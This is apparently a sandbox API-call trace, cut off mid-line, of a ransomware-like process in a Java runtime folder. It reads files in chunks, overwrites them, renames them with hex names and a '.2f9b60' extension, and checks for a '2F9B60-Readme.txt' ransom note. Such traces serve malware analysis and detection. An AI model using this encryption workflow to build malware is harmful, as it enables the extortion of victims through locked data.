[0206.484] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b861110 [0206.484] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861110) returned 1 [0206.485] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba860) returned 1 [0206.485] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059000) returned 1 [0206.485] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x89) returned 0x431c5e40 [0206.486] sprintf (in: _Dest=0x431c5e40, _Format="%c%c" | out: _Dest="2b") returned 2 [0206.486] sprintf (in: _Dest=0x431c5e42, _Format="%c%c" | out: _Dest="34") returned 2 [0206.486] sprintf (in: _Dest=0x431c5e44, _Format="%c%c" | out: _Dest="f8") returned 2 [0206.486] sprintf (in: _Dest=0x431c5e46, _Format="%c%c" | out: _Dest="07") returned 2 [0206.486] sprintf (in: _Dest=0x431c5e48, _Format="%c%c" | out: _Dest="af") returned 2 [0206.486] sprintf (in: _Dest=0x431c5e4a, _Format="%c%c" | out: _Dest="13") returned 2 [0206.486] sprintf (in: _Dest=0x431c5e4c, _Format="%c%c" | out: _Dest="f2") returned 2 [0206.486] sprintf (in: _Dest=0x431c5e4e, _Format="%c%c" | out: _Dest="fb") returned 2 [0206.486] sprintf (in: _Dest=0x431c5e50, _Format="%c%c" | out: _Dest="b9") returned 2 [0206.486] sprintf (in: _Dest=0x431c5e52, _Format="%c%c" | out: _Dest="a8") returned 2 [0206.486] sprintf (in: _Dest=0x431c5e54, _Format="%c%c" | out: _Dest="73") returned 2 [0206.486] sprintf (in: _Dest=0x431c5e56, _Format="%c%c" | out: _Dest="40") returned 2 [0206.486] sprintf (in: _Dest=0x431c5e58, _Format="%c%c" | out: _Dest="4e") returned 2 [0206.486] sprintf (in: _Dest=0x431c5e5a, _Format="%c%c" | out: _Dest="08") returned 2 [0206.486] sprintf (in: _Dest=0x431c5e5c, _Format="%c%c" | out: _Dest="96") returned 2 [0206.486] sprintf (in: _Dest=0x431c5e5e, _Format="%c%c" | out: _Dest="f1") returned 2 [0206.486] sprintf (in: _Dest=0x431c5e60, _Format="%c%c" | out: _Dest="0a") returned 2 [0206.486] sprintf (in: _Dest=0x431c5e62, _Format="%c%c" | out: _Dest="4a") returned 2 [0206.486] sprintf (in: _Dest=0x431c5e64, _Format="%c%c" | out: _Dest="07") returned 2 [0206.486] sprintf (in: _Dest=0x431c5e66, _Format="%c%c" | out: _Dest="37") returned 2 [0206.486] sprintf (in: _Dest=0x431c5e68, _Format="%c%c" | out: _Dest="f3") returned 2 [0206.486] sprintf (in: _Dest=0x431c5e6a, _Format="%c%c" | out: _Dest="f0") returned 2 [0206.487] sprintf (in: _Dest=0x431c5e6c, _Format="%c%c" | out: _Dest="e3") returned 2 [0206.487] sprintf (in: _Dest=0x431c5e6e, _Format="%c%c" | out: _Dest="ea") returned 2 [0206.487] sprintf (in: _Dest=0x431c5e70, _Format="%c%c" | out: _Dest="49") returned 2 [0206.487] sprintf (in: _Dest=0x431c5e72, _Format="%c%c" | out: _Dest="76") returned 2 [0206.487] sprintf (in: _Dest=0x431c5e74, _Format="%c%c" | out: _Dest="f0") returned 2 [0206.487] sprintf (in: _Dest=0x431c5e76, _Format="%c%c" | out: _Dest="b7") returned 2 [0206.487] sprintf (in: _Dest=0x431c5e78, _Format="%c%c" | out: _Dest="1c") returned 2 [0206.487] sprintf (in: _Dest=0x431c5e7a, _Format="%c%c" | out: _Dest="c6") returned 2 [0206.487] sprintf (in: _Dest=0x431c5e7c, _Format="%c%c" | out: _Dest="9b") returned 2 [0206.487] sprintf (in: _Dest=0x431c5e7e, _Format="%c%c" | out: _Dest="bf") returned 2 [0206.487] sprintf (in: _Dest=0x431c5e80, _Format="%c%c" | out: _Dest="ee") returned 2 [0206.487] sprintf (in: _Dest=0x431c5e82, _Format="%c%c" | out: _Dest="84") returned 2 [0206.487] sprintf (in: _Dest=0x431c5e84, _Format="%c%c" | out: _Dest="61") returned 2 [0206.487] sprintf (in: _Dest=0x431c5e86, _Format="%c%c" | out: _Dest="14") returned 2 [0206.487] sprintf (in: _Dest=0x431c5e88, _Format="%c%c" | out: _Dest="0d") returned 2 [0206.487] sprintf (in: _Dest=0x431c5e8a, _Format="%c%c" | out: _Dest="bb") returned 2 [0206.487] sprintf (in: _Dest=0x431c5e8c, _Format="%c%c" | out: _Dest="8b") returned 2 [0206.487] sprintf (in: _Dest=0x431c5e8e, _Format="%c%c" | out: _Dest="20") returned 2 [0206.487] sprintf (in: _Dest=0x431c5e90, _Format="%c%c" | out: _Dest="89") returned 2 [0206.487] sprintf (in: _Dest=0x431c5e92, _Format="%c%c" | out: _Dest="24") returned 2 [0206.487] sprintf (in: _Dest=0x431c5e94, _Format="%c%c" | out: _Dest="21") returned 2 [0206.487] sprintf (in: _Dest=0x431c5e96, _Format="%c%c" | out: _Dest="b1") returned 2 [0206.487] sprintf (in: _Dest=0x431c5e98, _Format="%c%c" | out: _Dest="af") returned 2 [0206.487] sprintf (in: _Dest=0x431c5e9a, _Format="%c%c" | out: _Dest="a7") returned 2 [0206.487] sprintf (in: _Dest=0x431c5e9c, _Format="%c%c" | out: _Dest="04") returned 2 [0206.487] sprintf (in: _Dest=0x431c5e9e, _Format="%c%c" | out: _Dest="de") returned 2 [0206.488] sprintf (in: _Dest=0x431c5ea0, _Format="%c%c" | out: _Dest="f3") returned 2 [0206.488] sprintf (in: _Dest=0x431c5ea2, _Format="%c%c" | out: _Dest="75") returned 2 [0206.488] sprintf (in: _Dest=0x431c5ea4, _Format="%c%c" | out: _Dest="8b") returned 2 [0206.488] sprintf (in: _Dest=0x431c5ea6, _Format="%c%c" | out: _Dest="15") returned 2 [0206.488] sprintf (in: _Dest=0x431c5ea8, _Format="%c%c" | out: _Dest="23") returned 2 [0206.488] sprintf (in: _Dest=0x431c5eaa, _Format="%c%c" | out: _Dest="7b") returned 2 [0206.488] sprintf (in: _Dest=0x431c5eac, _Format="%c%c" | out: _Dest="68") returned 2 [0206.488] sprintf (in: _Dest=0x431c5eae, _Format="%c%c" | out: _Dest="a0") returned 2 [0206.488] sprintf (in: _Dest=0x431c5eb0, _Format="%c%c" | out: _Dest="15") returned 2 [0206.488] sprintf (in: _Dest=0x431c5eb2, _Format="%c%c" | out: _Dest="b0") returned 2 [0206.488] sprintf (in: _Dest=0x431c5eb4, _Format="%c%c" | out: _Dest="da") returned 2 [0206.488] sprintf (in: _Dest=0x431c5eb6, _Format="%c%c" | out: _Dest="a3") returned 2 [0206.488] sprintf (in: _Dest=0x431c5eb8, _Format="%c%c" | out: _Dest="48") returned 2 [0206.488] sprintf (in: _Dest=0x431c5eba, _Format="%c%c" | out: _Dest="43") returned 2 [0206.488] sprintf (in: _Dest=0x431c5ebc, _Format="%c%c" | out: _Dest="45") returned 2 [0206.488] sprintf (in: _Dest=0x431c5ebe, _Format="%c%c" | out: _Dest="e1") returned 2 [0206.488] sprintf (in: _Dest=0x431c5ec0, _Format="%c%c" | out: _Dest="78") returned 2 [0206.488] sprintf (in: _Dest=0x431c5ec2, _Format="%c%c" | out: _Dest="43") returned 2 [0206.488] sprintf (in: _Dest=0x431c5ec4, _Format="%c%c" | out: _Dest="9d") returned 2 [0206.488] sprintf (in: _Dest=0x431c5ec6, _Format="%c%c" | out: _Dest="75") returned 2 [0206.488] RtlInitAnsiString (in: DestinationString=0x3025fb08, SourceString="2b34f807af13f2fbb9a873404e0896f10a4a0737f3f0e3ea4976f0b71cc69bbfee8461140dbb8b20892421b1afa704def3758b15237b68a015b0daa3484345e178439d75" | out: DestinationString="2b34f807af13f2fbb9a873404e0896f10a4a0737f3f0e3ea4976f0b71cc69bbfee8461140dbb8b20892421b1afa704def3758b15237b68a015b0daa3484345e178439d75") [0206.488] RtlAnsiStringToUnicodeString (in: DestinationString=0x3025fad8, SourceString="2b34f807af13f2fbb9a873404e0896f10a4a0737f3f0e3ea4976f0b71cc69bbfee8461140dbb8b20892421b1afa704def3758b15237b68a015b0daa3484345e178439d75", AllocateDestinationString=1 | out: DestinationString="2b34f807af13f2fbb9a873404e0896f10a4a0737f3f0e3ea4976f0b71cc69bbfee8461140dbb8b20892421b1afa704def3758b15237b68a015b0daa3484345e178439d75") returned 0x0 [0206.488] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x112) returned 0x423aabf0 [0206.489] wcscat (in: _Dest=0x431c5e40, _Source="2b34f807af13f2fbb9a873404e0896f10a" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\2b34f807af13f2fbb9a873404e0896f10a") returned="C:\\Program Files (x86)\\Java\\jre7\\2b34f807af13f2fbb9a873404e0896f10a" [0206.489] wcscat (in: _Dest=0x431c5e40, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\2b34f807af13f2fbb9a873404e0896f10a.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\2b34f807af13f2fbb9a873404e0896f10a.2f9b60" [0206.489] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\2b34f807af13f2fbb9a873404e0896f10a.2f9b60", NtPathName=0x3025fab0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\2b34f807af13f2fbb9a873404e0896f10a.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0206.489] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x4311bce0 [0209.432] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4311bce0) returned 1 [0209.432] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4322a1a0) returned 1 [0209.432] NtQueryInformationFile (in: FileHandle=0x14f0, IoStatusBlock=0x3025fb18, FileInformation=0x3025fb28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3025fb18, FileInformation=0x3025fb28) returned 0x0 [0209.432] NtSetInformationFile (FileHandle=0x14f0, IoStatusBlock=0x3025fb18, FileInformation=0x3025fb28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0216.328] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431c5e40) returned 1 [0216.329] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423aabf0) returned 1 [0216.329] FlushFileBuffers (hFile=0x14f0) returned 1 [0216.330] CloseHandle (hObject=0x14f0) returned 1 [0219.455] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x68) returned 0x4319fd00 [0219.455] wcscpy (in: _Dest=0x4319fd00, _Source="C:\\Program Files (x86)\\Java\\jre7\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\") returned="C:\\Program Files (x86)\\Java\\jre7\\" [0219.455] wcscat (in: _Dest=0x4319fd00, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\2F9B60-Readme.txt" [0219.455] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\2f9b60-readme.txt")) returned 0x20 [0219.455] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4319fd00) returned 1 [0219.456] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a5190) returned 1 Thread: id = 963 os_tid = 0x15b4 [0101.314] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\thirdpartylicensereadme.txt")) returned 0x20 [0103.116] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME.txt", dwFileAttributes=0x20) returned 1 [0103.517] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\thirdpartylicensereadme.txt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1750 [0103.517] GetFileSizeEx (in: hFile=0x1750, lpFileSize=0x301dfa80 | out: lpFileSize=0x301dfa80*=176976) returned 1 [0103.517] SetFilePointerEx (in: hFile=0x1750, liDistanceToMove=0x2b34c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.517] ReadFile (in: hFile=0x1750, lpBuffer=0x301dfa00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x301dfa48, lpOverlapped=0x0 | out: lpBuffer=0x301dfa00*, lpNumberOfBytesRead=0x301dfa48*=0x4, lpOverlapped=0x0) returned 1 [0103.575] SetFilePointerEx (in: hFile=0x1750, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.575] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f9d0 [0103.575] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fac0 [0103.575] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f550 [0103.575] NtQuerySystemTime (in: CurrentTime=0x301df940 | out: CurrentTime=0x301df940*=132462177090826000) returned 0x0 [0103.575] RtlRandomEx (in: Seed=0x301df930 | out: Seed=0x301df930) returned 0x75c0fac7 [0103.575] RtlRandomEx (in: Seed=0x301df930 | out: Seed=0x301df930) returned 0x5e60bac1 [0103.575] RtlRandomEx (in: Seed=0x301df930 | out: Seed=0x301df930) returned 0x23b1b35a [0103.575] RtlRandomEx (in: Seed=0x301df930 | out: Seed=0x301df930) returned 0x6db8ea98 [0103.575] RtlRandomEx (in: Seed=0x301df930 | out: Seed=0x301df930) returned 0x33044c2c [0103.575] RtlRandomEx (in: Seed=0x301df930 | out: Seed=0x301df930) returned 0x214880ea [0103.575] RtlRandomEx (in: Seed=0x301df930 | out: Seed=0x301df930) returned 0x449e7107 [0103.575] RtlRandomEx (in: Seed=0x301df930 | out: Seed=0x301df930) returned 0x244c1b9a [0103.575] RtlRandomEx (in: Seed=0x301df930 | out: Seed=0x301df930) returned 0x1587468a [0103.575] RtlRandomEx (in: Seed=0x301df930 | out: Seed=0x301df930) returned 0x69eca472 [0103.576] RtlRandomEx (in: Seed=0x301df930 | out: Seed=0x301df930) returned 0xf6ec0ab [0103.576] RtlRandomEx (in: Seed=0x301df930 | out: Seed=0x301df930) returned 0x449e7107 [0103.576] RtlRandomEx (in: Seed=0x301df930 | out: Seed=0x301df930) returned 0x478c0e4d [0103.576] RtlRandomEx (in: Seed=0x301df930 | out: Seed=0x301df930) returned 0x4e664475 [0103.576] RtlRandomEx (in: Seed=0x301df930 | out: Seed=0x301df930) returned 0x6bae9d9e [0103.576] RtlRandomEx (in: Seed=0x301df930 | out: Seed=0x301df930) returned 0x1159e128 [0103.576] RtlRandomEx (in: Seed=0x301df930 | out: Seed=0x301df930) returned 0x6db8ea98 [0103.576] RtlRandomEx (in: Seed=0x301df930 | out: Seed=0x301df930) returned 0x6fcb7605 [0103.576] RtlRandomEx (in: Seed=0x301df930 | out: Seed=0x301df930) returned 0x168f4c2f [0103.576] RtlRandomEx (in: Seed=0x301df930 | out: Seed=0x301df930) returned 0x6dd9920a [0103.576] RtlRandomEx (in: Seed=0x301df930 | out: Seed=0x301df930) returned 0x220113e4 [0103.576] RtlRandomEx (in: Seed=0x301df930 | out: Seed=0x301df930) returned 0x37a75c83 [0103.576] RtlRandomEx (in: Seed=0x301df930 | out: Seed=0x301df930) returned 0x83d6902 [0103.576] RtlRandomEx (in: Seed=0x301df930 | out: Seed=0x301df930) returned 0x6d1268b2 [0103.576] RtlRandomEx (in: Seed=0x301df930 | out: Seed=0x301df930) returned 0x43f6889e [0103.576] RtlRandomEx (in: Seed=0x301df930 | out: Seed=0x301df930) returned 0x4af9c3be [0103.576] RtlRandomEx (in: Seed=0x301df930 | out: Seed=0x301df930) returned 0x34c87ee [0103.576] RtlRandomEx (in: Seed=0x301df930 | out: Seed=0x301df930) returned 0x7d81636a [0103.576] RtlRandomEx (in: Seed=0x301df930 | out: Seed=0x301df930) returned 0x5125e824 [0103.576] RtlRandomEx (in: Seed=0x301df930 | out: Seed=0x301df930) returned 0x352adcb1 [0103.576] RtlRandomEx (in: Seed=0x301df930 | out: Seed=0x301df930) returned 0x74612a77 [0103.576] RtlRandomEx (in: Seed=0x301df930 | out: Seed=0x301df930) returned 0x4c42fab1 [0103.585] SetFilePointerEx (in: hFile=0x1750, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.585] ReadFile (in: hFile=0x1750, lpBuffer=0x41f40d80, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x301df9a0, lpOverlapped=0x0 | out: lpBuffer=0x41f40d80*, lpNumberOfBytesRead=0x301df9a0*=0x3c00, lpOverlapped=0x0) returned 1 [0103.609] SetFilePointerEx (in: hFile=0x1750, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.609] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0103.609] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503990 [0103.609] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f970 [0103.609] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f970) returned 1 [0103.609] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41ed3cc0 [0103.610] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f970 [0103.610] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f820 [0103.610] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f820) returned 1 [0103.610] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503990) returned 1 [0103.610] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0103.610] WriteFile (in: hFile=0x1750, lpBuffer=0x41ed3cc0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x301df9a0, lpOverlapped=0x0 | out: lpBuffer=0x41ed3cc0*, lpNumberOfBytesWritten=0x301df9a0*=0x3c00, lpOverlapped=0x0) returned 1 [0130.227] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ed3cc0) returned 1 [0130.227] SetFilePointerEx (in: hFile=0x1750, liDistanceToMove=0x16800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.227] ReadFile (in: hFile=0x1750, lpBuffer=0x41f40d80, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x301df9a0, lpOverlapped=0x0 | out: lpBuffer=0x41f40d80*, lpNumberOfBytesRead=0x301df9a0*=0x3c00, lpOverlapped=0x0) returned 1 [0130.229] SetFilePointerEx (in: hFile=0x1750, liDistanceToMove=0x16800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.229] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97120 [0130.229] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867ec0 [0130.229] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202628d0 [0130.229] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202628d0) returned 1 [0130.229] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41ed3cc0 [0130.230] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202628d0 [0130.230] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262240 [0130.230] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262240) returned 1 [0130.230] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867ec0) returned 1 [0130.230] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97120) returned 1 [0130.230] WriteFile (hFile=0x1750, lpBuffer=0x41ed3cc0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x301df9a0, lpOverlapped=0x0) [0171.060] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ed3cc0) returned 1 [0171.060] SetFilePointerEx (in: hFile=0x1750, liDistanceToMove=0x27750, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.060] ReadFile (in: hFile=0x1750, lpBuffer=0x41f40d80, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x301df9a0, lpOverlapped=0x0 | out: lpBuffer=0x41f40d80*, lpNumberOfBytesRead=0x301df9a0*=0x3c00, lpOverlapped=0x0) returned 1 [0171.221] SetFilePointerEx (in: hFile=0x1750, liDistanceToMove=0x27750, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.221] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97990 [0171.222] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79da70 [0171.222] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d2e0 [0171.222] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1d2e0) returned 1 [0171.222] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41b93cc0 [0171.223] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d2e0 [0171.223] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d310 [0171.223] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1d310) returned 1 [0171.224] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79da70) returned 1 [0171.224] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97990) returned 1 [0171.224] WriteFile (in: hFile=0x1750, lpBuffer=0x41b93cc0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x301df9a0, lpOverlapped=0x0 | out: lpBuffer=0x41b93cc0*, lpNumberOfBytesWritten=0x301df9a0*=0x3c00, lpOverlapped=0x0) returned 1 [0194.871] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b93cc0) returned 1 [0194.871] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1cddfad0 [0194.872] SetFilePointerEx (in: hFile=0x1750, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0194.872] WriteFile (in: hFile=0x1750, lpBuffer=0x1b82f2c0*, nNumberOfBytesToWrite=0x168, lpNumberOfBytesWritten=0x301dfa50, lpOverlapped=0x0 | out: lpBuffer=0x1b82f2c0*, lpNumberOfBytesWritten=0x301dfa50*=0x168, lpOverlapped=0x0) returned 1 [0203.460] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bd60 [0203.461] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8694c0 [0203.462] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204feb00 [0203.462] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204feb00) returned 1 [0203.462] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1cd9f0f0 [0203.463] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204feb00 [0203.463] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204febc0 [0203.464] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204febc0) returned 1 [0203.464] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8694c0) returned 1 [0203.465] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bd60) returned 1 [0203.465] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6d) returned 0x1b8694c0 [0203.465] sprintf (in: _Dest=0x1b8694c0, _Format="%c%c" | out: _Dest="40") returned 2 [0203.465] sprintf (in: _Dest=0x1b8694c2, _Format="%c%c" | out: _Dest="e7") returned 2 [0203.465] sprintf (in: _Dest=0x1b8694c4, _Format="%c%c" | out: _Dest="80") returned 2 [0203.465] sprintf (in: _Dest=0x1b8694c6, _Format="%c%c" | out: _Dest="61") returned 2 [0203.465] sprintf (in: _Dest=0x1b8694c8, _Format="%c%c" | out: _Dest="88") returned 2 [0203.465] sprintf (in: _Dest=0x1b8694ca, _Format="%c%c" | out: _Dest="ff") returned 2 [0203.465] sprintf (in: _Dest=0x1b8694cc, _Format="%c%c" | out: _Dest="2a") returned 2 [0203.465] sprintf (in: _Dest=0x1b8694ce, _Format="%c%c" | out: _Dest="ac") returned 2 [0203.465] sprintf (in: _Dest=0x1b8694d0, _Format="%c%c" | out: _Dest="86") returned 2 [0203.465] sprintf (in: _Dest=0x1b8694d2, _Format="%c%c" | out: _Dest="4b") returned 2 [0203.465] sprintf (in: _Dest=0x1b8694d4, _Format="%c%c" | out: _Dest="9f") returned 2 [0203.465] sprintf (in: _Dest=0x1b8694d6, _Format="%c%c" | out: _Dest="56") returned 2 [0203.465] sprintf (in: _Dest=0x1b8694d8, _Format="%c%c" | out: _Dest="02") returned 2 [0203.465] sprintf (in: _Dest=0x1b8694da, _Format="%c%c" | out: _Dest="fd") returned 2 [0203.465] sprintf (in: _Dest=0x1b8694dc, _Format="%c%c" | out: _Dest="ac") returned 2 [0203.466] sprintf (in: _Dest=0x1b8694de, _Format="%c%c" | out: _Dest="24") returned 2 [0203.466] sprintf (in: _Dest=0x1b8694e0, _Format="%c%c" | out: _Dest="a8") returned 2 [0203.466] sprintf (in: _Dest=0x1b8694e2, _Format="%c%c" | out: _Dest="bd") returned 2 [0203.466] sprintf (in: _Dest=0x1b8694e4, _Format="%c%c" | out: _Dest="68") returned 2 [0203.466] sprintf (in: _Dest=0x1b8694e6, _Format="%c%c" | out: _Dest="7f") returned 2 [0203.466] sprintf (in: _Dest=0x1b8694e8, _Format="%c%c" | out: _Dest="04") returned 2 [0203.466] sprintf (in: _Dest=0x1b8694ea, _Format="%c%c" | out: _Dest="93") returned 2 [0203.466] sprintf (in: _Dest=0x1b8694ec, _Format="%c%c" | out: _Dest="df") returned 2 [0203.466] sprintf (in: _Dest=0x1b8694ee, _Format="%c%c" | out: _Dest="70") returned 2 [0203.466] sprintf (in: _Dest=0x1b8694f0, _Format="%c%c" | out: _Dest="8d") returned 2 [0203.466] sprintf (in: _Dest=0x1b8694f2, _Format="%c%c" | out: _Dest="eb") returned 2 [0203.466] sprintf (in: _Dest=0x1b8694f4, _Format="%c%c" | out: _Dest="ad") returned 2 [0203.466] sprintf (in: _Dest=0x1b8694f6, _Format="%c%c" | out: _Dest="06") returned 2 [0203.466] sprintf (in: _Dest=0x1b8694f8, _Format="%c%c" | out: _Dest="3a") returned 2 [0203.466] sprintf (in: _Dest=0x1b8694fa, _Format="%c%c" | out: _Dest="5d") returned 2 [0203.466] sprintf (in: _Dest=0x1b8694fc, _Format="%c%c" | out: _Dest="3a") returned 2 [0203.466] sprintf (in: _Dest=0x1b8694fe, _Format="%c%c" | out: _Dest="b9") returned 2 [0203.466] sprintf (in: _Dest=0x1b869500, _Format="%c%c" | out: _Dest="67") returned 2 [0203.466] sprintf (in: _Dest=0x1b869502, _Format="%c%c" | out: _Dest="b8") returned 2 [0203.466] sprintf (in: _Dest=0x1b869504, _Format="%c%c" | out: _Dest="55") returned 2 [0203.466] sprintf (in: _Dest=0x1b869506, _Format="%c%c" | out: _Dest="45") returned 2 [0203.466] sprintf (in: _Dest=0x1b869508, _Format="%c%c" | out: _Dest="3b") returned 2 [0203.466] sprintf (in: _Dest=0x1b86950a, _Format="%c%c" | out: _Dest="64") returned 2 [0203.466] sprintf (in: _Dest=0x1b86950c, _Format="%c%c" | out: _Dest="4d") returned 2 [0203.466] sprintf (in: _Dest=0x1b86950e, _Format="%c%c" | out: _Dest="56") returned 2 [0203.466] sprintf (in: _Dest=0x1b869510, _Format="%c%c" | out: _Dest="79") returned 2 [0203.466] sprintf (in: _Dest=0x1b869512, _Format="%c%c" | out: _Dest="fe") returned 2 [0203.466] sprintf (in: _Dest=0x1b869514, _Format="%c%c" | out: _Dest="4e") returned 2 [0203.467] sprintf (in: _Dest=0x1b869516, _Format="%c%c" | out: _Dest="50") returned 